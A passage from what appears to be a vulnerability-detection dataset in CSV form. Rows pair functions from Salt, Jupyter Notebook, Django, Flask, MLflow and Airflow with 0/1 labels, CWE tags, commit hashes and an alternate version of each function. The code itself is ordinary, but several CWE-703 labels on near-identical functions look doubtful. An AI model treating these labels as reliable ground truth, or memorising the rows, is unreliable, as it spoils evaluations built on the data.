                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    try:
                        tar_opts = shlex.split(options)
                    except AttributeError:
                        tar_opts = shlex.split(str(options))

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached_source])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            enforce_dirs = [enforce_ownership_on]
            enforce_files = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __salt__['state.single']('file.directory',
                                                      full_path,
                                                      user=user,
                                                      group=group,
                                                      recurse=recurse,
                                                      test=__opts__['test'])
                try:
                    dir_result = dir_result[next(iter(dir_result))]
                except AttributeError:
                    pass
                log.debug('file.directory: %s', dir_result)

                if __opts__['test']:
                    if dir_result.get('pchanges'):
                        ret['changes']['updated ownership'] = True
                else:
                    try:
                        if dir_result['result']:
                            if dir_result['changes']:
                                ret['changes']['updated ownership'] = True
                        else:
                            enforce_failed.append(full_path)
                    except (KeyError, TypeError):
                        log.warning(
                            'Bad state return %s for file.directory state on %s',
                            dir_result, dirname
                        )

        for filename in enforce_files:
            full_path = os.path.join(name, filename)
            try:
                # Using os.stat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.stat directly will speed
                # things up a bit.
                file_stat = os.stat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.chown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
            if not keep:
                log.debug('Cleaning cached source file %s', cached_source)
                try:
                    os.remove(cached_source)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        log.error(
                            'Failed to clean cached source file %s: %s',
                            cached_source, exc.__str__()
                        )
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)

    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_levle dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    return ret"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in a sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
        pjoin('static', '*', 'node_modules')
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.append(pjoin('static', app, 'js', 'main.min.js'))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""dist"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""create-react-class"", ""index.js""),
        pjoin(components, ""font-awesome"", ""css"", ""*.css""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
        pjoin(components, ""jed"", ""jed.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""react"", ""react.production.min.js""),
        pjoin(components, ""react"", ""react-dom.production.min.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""requirejs-plugins"", ""src"", ""json.js""),
        pjoin(components, ""requirejs-text"", ""text.js""),
        pjoin(components, ""sanitizer"", ""index.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""*.js""),
        pjoin(components, ""xterm.js"", ""index.js""),
        pjoin(components, ""xterm.js-css"", ""index.css""),
        pjoin(components, ""xterm.js-fit"", ""index.js""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS-MML_HTMLorMML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
        mj('jax', 'element', 'mml'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
        'notebook.bundler.tests': ['resources/*', 'resources/*/*', 'resources/*/*/.*'],
        'notebook.services.api': ['api.yaml'],
        'notebook.i18n': ['*/LC_MESSAGES/*.*'],
    }
    
    return package_data",,jupyter/notebook,79fc76e890a8ec42f73a3d009e44ef84c14ef0d5,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in a sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
        pjoin('static', '*', 'node_modules')
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.append(pjoin('static', app, 'js', 'main.min.js'))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""dist"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""create-react-class"", ""index.js""),
        pjoin(components, ""font-awesome"", ""css"", ""*.css""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""jed"", ""jed.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""react"", ""react.production.min.js""),
        pjoin(components, ""react"", ""react-dom.production.min.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""requirejs-plugins"", ""src"", ""json.js""),
        pjoin(components, ""requirejs-text"", ""text.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""*.js""),
        pjoin(components, ""xterm.js"", ""index.js""),
        pjoin(components, ""xterm.js-css"", ""index.css""),
        pjoin(components, ""xterm.js-fit"", ""index.js""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS-MML_HTMLorMML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
        mj('jax', 'element', 'mml'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
        'notebook.bundler.tests': ['resources/*', 'resources/*/*', 'resources/*/*/.*'],
        'notebook.services.api': ['api.yaml'],
        'notebook.i18n': ['*/LC_MESSAGES/*.*'],
    }
    
    return package_data"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/match.py,0,"def compound(tgt, minion_id=None):
    '''
    Return True if the minion ID matches the given compound target

    minion_id
        Specify the minion ID to match against the target expression

        .. versionadded:: 2014.7.0

    CLI Example:

    .. code-block:: bash

        salt '*' match.compound 'L@cheese,foo and *'
    '''
    if minion_id is not None:
        opts = copy.copy(__opts__)
        if not isinstance(minion_id, six.string_types):
            minion_id = six.text_type(minion_id)
        opts['id'] = minion_id
    else:
        opts = __opts__
    matchers = salt.loader.matchers(opts)
    try:
        return matchers['compound_match.match'](tgt)
    except Exception as exc:  # pylint: disable=broad-except
        log.exception(exc)
        return False",,saltstack/salt,3ad69c8fabe76e45426950c99b6e43b28340f2f9,"def compound(tgt, minion_id=None):
    '''
    Return True if the minion ID matches the given compound target

    minion_id
        Specify the minion ID to match against the target expression

        .. versionadded:: 2014.7.0

    CLI Example:

    .. code-block:: bash

        salt '*' match.compound 'L@cheese,foo and *'
    '''
    if minion_id is not None:
        opts = copy.copy(__opts__)
        if not isinstance(minion_id, six.string_types):
            minion_id = six.text_type(minion_id)
        opts['id'] = minion_id
    else:
        opts = __opts__
    matchers = salt.loader.matchers(opts)
    try:
        return matchers['compound_match.match'](tgt)
    except Exception as exc:
        log.exception(exc)
        return False"
,UNKNOWN,UNKNOWN,django/db/models/query.py,1,"def bulk_create(self, objs, batch_size=None):
        """"""
        Inserts each of the instances into the database. This does *not* call
        save() on each of the instances, does not send any pre/post save
        signals, and does not set the primary key attribute if it is an
        autoincrement field.
        """"""
        # So this case is fun. When you bulk insert you don't get the primary
        # keys back (if it's an autoincrement), so you can't insert into the
        # child tables which references this. There are two workarounds, 1)
        # this could be implemented if you didn't have an autoincrement pk,
        # and 2) you could do it by doing O(n) normal inserts into the parent
        # tables to get the primary keys back, and then doing a single bulk
        # insert into the childmost table. Some databases might allow doing
        # this by using RETURNING clause for the insert query. We're punting
        # on these for now because they are relatively rare cases.
        assert batch_size is None or batch_size > 0
        if self.model._meta.parents:
            raise ValueError(""Can't bulk create an inherited model"")
        if not objs:
            return objs
        self._for_write = True
        connection = connections[self.db]
        fields = self.model._meta.local_concrete_fields
        with transaction.commit_on_success_unless_managed(using=self.db):
            if (connection.features.can_combine_inserts_with_and_without_auto_increment_pk
                and self.model._meta.has_auto_field):
                self._batched_insert(objs, fields, batch_size)
            else:
                objs_with_pk, objs_without_pk = partition(lambda o: o.pk is None, objs)
                if objs_with_pk:
                    self._batched_insert(objs_with_pk, fields, batch_size)
                if objs_without_pk:
                    fields= [f for f in fields if not isinstance(f, AutoField)]
                    self._batched_insert(objs_without_pk, fields, batch_size)

        return objs",CWE-703,django/django,9a446211bd13998aa6f0b6a3e6e6cdd1c69df704,"def bulk_create(self, objs, batch_size=None):
        """"""
        Inserts each of the instances into the database. This does *not* call
        save() on each of the instances, does not send any pre/post save
        signals, and does not set the primary key attribute if it is an
        autoincrement field.
        """"""
        # So this case is fun. When you bulk insert you don't get the primary
        # keys back (if it's an autoincrement), so you can't insert into the
        # child tables which references this. There are two workarounds, 1)
        # this could be implemented if you didn't have an autoincrement pk,
        # and 2) you could do it by doing O(n) normal inserts into the parent
        # tables to get the primary keys back, and then doing a single bulk
        # insert into the childmost table. Some databases might allow doing
        # this by using RETURNING clause for the insert query. We're punting
        # on these for now because they are relatively rare cases.
        assert batch_size is None or batch_size > 0
        if self.model._meta.parents:
            raise ValueError(""Can't bulk create an inherited model"")
        if not objs:
            return objs
        self._for_write = True
        connection = connections[self.db]
        fields = self.model._meta.local_fields
        with transaction.commit_on_success_unless_managed(using=self.db):
            if (connection.features.can_combine_inserts_with_and_without_auto_increment_pk
                and self.model._meta.has_auto_field):
                self._batched_insert(objs, fields, batch_size)
            else:
                objs_with_pk, objs_without_pk = partition(lambda o: o.pk is None, objs)
                if objs_with_pk:
                    self._batched_insert(objs_with_pk, fields, batch_size)
                if objs_without_pk:
                    fields= [f for f in fields if not isinstance(f, AutoField)]
                    self._batched_insert(objs_without_pk, fields, batch_size)

        return objs"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/tests/selenium/test_kernel_menu.py,0,"def test_menu_items(notebook):
    browser = notebook.browser
    kernel_menu = browser.find_element_by_id('kernellink')

    for menu_item in restart_selectors:
        # Shutdown
        kernel_menu.click()
        wait_for_selector(browser, shutdown_selector, visible=True, single=True).click()

        # Confirm shutdown
        wait_for_selector(browser, confirm_selector, visible=True, single=True).click()

        WebDriverWait(browser, 3).until(
            lambda b: not notebook.is_kernel_running(),
            message=""Kernel did not shut down as expected""
        )

        # Restart
        # Selenium can't click the menu while a modal dialog is fading out
        WebDriverWait(browser, 3).until(
            EC.invisibility_of_element((By.CSS_SELECTOR, '.modal-backdrop'))
        )
        kernel_menu.click()

        wait_for_selector(browser, menu_item, visible=True, single=True).click()
        WebDriverWait(browser, 10).until(
            lambda b: notebook.is_kernel_running(),
            message=""Restart (%r) after shutdown did not start kernel"" % menu_item
        )",,jupyter/notebook,08d0b5639010c12beab1f47318d0a098a80827c2,"def test_menu_items(notebook):
    browser = notebook.browser
    kernel_menu = browser.find_element_by_id('kernellink')

    for menu_item in restart_selectors:
        # Shutdown
        kernel_menu.click()
        wait_for_selector(browser, shutdown_selector, visible=True, single=True).click()

        # Confirm shutdown
        wait_for_selector(browser, confirm_selector, visible=True, single=True).click()

        WebDriverWait(browser, 3).until(
            lambda b: not notebook.is_kernel_running(),
            message=""Kernel did not shut down as expected""
        )

        # Restart
        # Selenium can't click the menu while a modal dialog is fading out
        WebDriverWait(browser, 3).until(
            EC.element_to_be_clickable((By.ID, 'kernellink'))).click()

        wait_for_selector(browser, menu_item, visible=True, single=True).click()
        WebDriverWait(browser, 10).until(
            lambda b: notebook.is_kernel_running(),
            message=""Restart (%r) after shutdown did not start kernel"" % menu_item
        )"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/base/handlers.py,0,"def template_namespace(self):
        return dict(
            base_url=self.base_url,
            default_url=self.default_url,
            ws_url=self.ws_url,
            logged_in=self.logged_in,
            allow_password_change=self.settings.get('allow_password_change'),
            login_available=self.login_available,
            token_available=bool(self.token or self.one_time_token),
            static_url=self.static_url,
            sys_info=json_sys_info(),
            contents_js_source=self.contents_js_source,
            version_hash=self.version_hash,
            ignore_minified_js=self.ignore_minified_js,
            xsrf_form_html=self.xsrf_form_html,
            token=self.token,
            xsrf_token=self.xsrf_token.decode('utf8'),
            nbjs_translations=json.dumps(combine_translations(
                self.request.headers.get('Accept-Language', ''))),
            **self.jinja_template_vars
        )",,jupyter/notebook,74fbc5b5784d5dbadcc66d7a78cedf029d1bb7d9,"def template_namespace(self):
        return dict(
            base_url=self.base_url,
            default_url=self.default_url,
            ws_url=self.ws_url,
            logged_in=self.logged_in,
            login_available=self.login_available,
            token_available=bool(self.token or self.one_time_token),
            static_url=self.static_url,
            sys_info=json_sys_info(),
            contents_js_source=self.contents_js_source,
            version_hash=self.version_hash,
            ignore_minified_js=self.ignore_minified_js,
            xsrf_form_html=self.xsrf_form_html,
            token=self.token,
            xsrf_token=self.xsrf_token.decode('utf8'),
            nbjs_translations=json.dumps(combine_translations(
                self.request.headers.get('Accept-Language', ''))),
            **self.jinja_template_vars
        )"
,UNKNOWN,UNKNOWN,tests/test_appctx.py,1,"def test_context_refcounts():
    called = []
    app = flask.Flask(__name__)
    @app.teardown_request
    def teardown_req(error=None):
        called.append('request')
    @app.teardown_appcontext
    def teardown_app(error=None):
        called.append('app')
    @app.route('/')
    def index():
        with flask._app_ctx_stack.top:
            with flask._request_ctx_stack.top:
                pass
        env = flask._request_ctx_stack.top.request.environ
        assert env['werkzeug.request'] is not None
        return u''
    c = app.test_client()
    res = c.get('/')
    assert res.status_code == 200
    assert res.data == b''
    assert called == ['request', 'app']",CWE-703,pallets/flask,8d7e7aab31f0e3cf4d009376b6d210ae1a27785b,"def test_context_refcounts():
    called = []
    app = flask.Flask(__name__)
    @app.teardown_request
    def teardown_req(error=None):
        called.append('request')
    @app.teardown_appcontext
    def teardown_app(error=None):
        called.append('app')
    @app.route('/')
    def index():
        with flask._app_ctx_stack.top:
            with flask._request_ctx_stack.top:
                pass
        env = flask._request_ctx_stack.top.request.environ
        assert env['werkzeug.request'] is not None
        return u''
    c = app.test_client()
    res = c.get('/')
    assert res.status_code == 200
    assert res.data == b''
    assert called == ['request', 'app']"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/generic_views/test_base.py,0,"def test_args_kwargs_request_on_self(self):
        """"""
        Test a view only has args, kwargs & request once `as_view`
        has been called.
        """"""
        bare_view = InstanceView()
        view = InstanceView.as_view()(self.rf.get('/'))
        for attribute in ('args', 'kwargs', 'request'):
            self.assertNotIn(attribute, dir(bare_view))
            self.assertIn(attribute, dir(view))",CWE-Unknown,django/django,e671337e8b35427b379303cbf6808855f04083e8,"def test_args_kwargs_request_on_self(self):
        """"""
        Test a view only has args, kwargs & request once `as_view`
        has been called.
        """"""
        bare_view = InstanceView()
        view = InstanceView.as_view()(self.rf.get('/'))
        for attribute in ('args', 'kwargs', 'request'):
            self.assertNotIn(attribute, dir(bare_view))
            self.assertIn(attribute, dir(view))"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/ctx.py,0,"def setdefault(self, name, default=None):
        """"""Get the value of an attribute if it is present, otherwise
        set and return a default value. Like :meth:`dict.setdefault`.

        :param name: Name of attribute to get.
        :param default: Value to set and return if the attribute is not
            present.

        .. versionadded:: 0.11
        """"""
        return self.__dict__.setdefault(name, default)",,pallets/flask,986871bf4eb85ae62124e71ed579b6baa0ddaeae,"def setdefault(self, name, default=None):
        """"""Get the value of an attribute if it is present, otherwise
        set and return a default value. Like :meth:`dict.setdefault`.

        :param name: Name of attribute to get.
        :param: default: Value to set and return if the attribute is not
            present.

        .. versionadded:: 0.11
        """"""
        return self.__dict__.setdefault(name, default)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/returners/sentry_return.py,0,"def connect_sentry(message, result):
        pillar_data = __salt__['pillar.raw']()
        grains = __salt__['grains.items']()
        sentry_data = {
            'result': result,
            'pillar': pillar_data,
            'grains': grains
        }
        data = {
            'platform': 'python',
            'culprit': ret['fun'],
            'level': 'error'
        }
        tags = {}
        if pillar_data['raven'].has_key('tags'):
            for tag  in pillar_data['raven']['tags']:
                tags[tag] = grains[tag]
         
        if ret['return']:
            data['level'] = 'info'

        servers = []
        try:
            for server in pillar_data['raven']['servers']:
                servers.append(server + '/api/store/')
            client = Client(
                servers=servers,
                public_key=pillar_data['raven']['public_key'],
                secret_key=pillar_data['raven']['secret_key'],
                project=pillar_data['raven']['project'],
            )
        except KeyError as missing_key:
            logger.error(""Sentry returner need config '%s' in pillar"",
                         missing_key)
        else:
            try:
                client.capture('raven.events.Message', message=message, data=data, extra=sentry_data, tags=tags)
            except Exception as err:
                logger.error(""Can't send message to sentry: %s"", err,
                             exc_info=True)",,saltstack/salt,e77d051c15942fa20fe042db7e0900f900f16ef3,"def connect_sentry(message, result):
        pillar_data = __salt__['pillar.raw']()
        grains = __salt__['grains.items']()
        sentry_data = {
            'result': result,
            'pillar': pillar_data,
            'grains': grains
        }
        data = {
            'platform': 'python',
            'culprit': ret['fun'],
            'level': 'error'
        }
        tags = {}
        if pillar_data['raven'].has_key('tags'):
           for tag  in pillar_data['raven']['tags']:
               tags[tag] = grains[tag]
         
        if ret['return']:
           data['level']='info'

        servers = []
        try:
            for server in pillar_data['raven']['servers']:
                servers.append(server + '/api/store/')
            client = Client(
                servers=servers,
                public_key=pillar_data['raven']['public_key'],
                secret_key=pillar_data['raven']['secret_key'],
                project=pillar_data['raven']['project'],
            )
        except KeyError as missing_key:
            logger.error(""Sentry returner need config '%s' in pillar"",
                         missing_key)
        else:
            try:
                client.capture('raven.events.Message', message=message, data=data, extra=sentry_data, tags=tags)
            except Exception as err:
                logger.error(""Can't send message to sentry: %s"", err,
                             exc_info=True)"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_model_export_with_class_and_artifacts.py,1,"def test_log_model_with_unsupported_argument_combinations_throws_exception():
    with mlflow.start_run(), pytest.raises(MlflowException) as exc_info:
        mlflow.pyfunc.log_model(
            artifact_path=""pyfunc_model"",
            artifacts={""artifact"": ""/path/to/artifact""},
            python_model=None,
        )
    assert (
        ""Either `loader_module` or `python_model` must be specified. A `loader_module` ""
        ""should be a python module. A `python_model` should be a subclass of ""
        ""PythonModel"" in str(exc_info)
    )

    python_model = ModuleScopedSklearnModel(predict_fn=None)
    loader_module = __name__
    with mlflow.start_run(), pytest.raises(MlflowException) as exc_info:
        mlflow.pyfunc.log_model(
            artifact_path=""pyfunc_model"", python_model=python_model, loader_module=loader_module
        )
    assert ""The following sets of parameters cannot be specified together"" in str(exc_info)
    assert str(python_model) in str(exc_info)
    assert str(loader_module) in str(exc_info)

    with mlflow.start_run(), pytest.raises(MlflowException) as exc_info:
        mlflow.pyfunc.log_model(
            artifact_path=""pyfunc_model"",
            python_model=python_model,
            data_path=""/path/to/data"",
            artifacts={""artifact1"": ""/path/to/artifact""},
        )
    assert ""The following sets of parameters cannot be specified together"" in str(exc_info)

    with mlflow.start_run(), pytest.raises(MlflowException) as exc_info:
        mlflow.pyfunc.log_model(artifact_path=""pyfunc_model"", python_model=None, loader_module=None)
    assert ""Either `loader_module` or `python_model` must be specified"" in str(exc_info)",CWE-703,mlflow/mlflow,09f1bf1bf6d3ef0a78ac3dd87abbd8d5eaaacc7e,"def test_log_model_with_unsupported_argument_combinations_throws_exception():
    with mlflow.start_run(), pytest.raises(MlflowException) as exc_info:
        mlflow.pyfunc.log_model(
            artifact_path=""pyfunc_model"",
            artifacts={""artifact"": ""/path/to/artifact""},
            python_model=None,
        )
    assert (
        ""Either `loader_module` or `python_model` must be specified. A `loader_module` ""
        ""should be a python module. A `python_model` should be a subclass of ""
        ""PythonModel"" in str(exc_info)
    )

    python_model = ModuleScopedSklearnModel(predict_fn=None)
    loader_module = __name__
    with mlflow.start_run(), pytest.raises(MlflowException) as exc_info:
        mlflow.pyfunc.log_model(
            artifact_path=""pyfunc_model"", python_model=python_model, loader_module=loader_module
        )
    assert ""The following sets of parameters cannot be specified together"" in str(exc_info)
    assert str(python_model) in str(exc_info)
    assert str(loader_module) in str(exc_info)

    with mlflow.start_run(), pytest.raises(MlflowException) as exc_info:
        mlflow.pyfunc.log_model(
            artifact_path=""pyfunc_model"",
            python_model=python_model,
            data_path=""/path/to/data"",
            artifacts={""artifact1"": ""/path/to/artifact""},
        )
    assert ""The following sets of parameters cannot be specified together"" in str(exc_info)

    with mlflow.start_run(), pytest.raises(MlflowException) as exc_info:
        mlflow.pyfunc.log_model(artifact_path=""pyfunc_model"", python_model=None, loader_module=None)
    assert ""Either `loader_module` or `python_model` must be specified"" in str(exc_info)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models/variable.py,0,"def get(
        cls,
        key: str,
        default_var: Any = __NO_DEFAULT_SENTINEL,
        deserialize_json: bool = False,
    ) -> Any:
        """"""
        Get a value for an Airflow Variable Key.

        :param key: Variable Key
        :param default_var: Default value of the Variable if the Variable doesn't exist
        :param deserialize_json: Deserialize the value to a Python dict
        """"""
        var_val = Variable.get_variable_from_secrets(key=key)
        if var_val is None:
            if default_var is not cls.__NO_DEFAULT_SENTINEL:
                return default_var
            else:
                raise KeyError(f""Variable {key} does not exist"")
        else:
            if deserialize_json:
                obj = json.loads(var_val)
                mask_secret(obj, key)
                return obj
            else:
                mask_secret(var_val, key)
